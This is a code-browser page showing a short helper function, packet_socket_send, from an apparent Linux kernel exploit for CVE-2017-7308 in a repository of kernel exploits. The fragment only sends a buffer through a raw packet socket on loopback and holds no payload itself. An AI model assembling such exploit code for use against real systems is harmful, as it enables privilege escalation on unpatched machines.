MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / packet_socket_send

Function packet_socket_send

CVE-2017-7308/exploit.c:133–144  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

131}
132
133void packet_socket_send(int s, char *buffer, int size) {
134 struct sockaddr_ll sa;
135 memset(&sa, 0, sizeof(sa));
136 sa.sll_ifindex = if_nametoindex("lo");
137 sa.sll_halen = ETH_ALEN;
138
139 if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
140 sizeof(sa)) < 0) {
141 perror("[-] sendto(SOCK_RAW)");
142 exit(EXIT_FAILURE);
143 }
144}
145
146void loopback_send(char *buffer, int size) {
147 int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);

Callers 2

loopback_sendFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected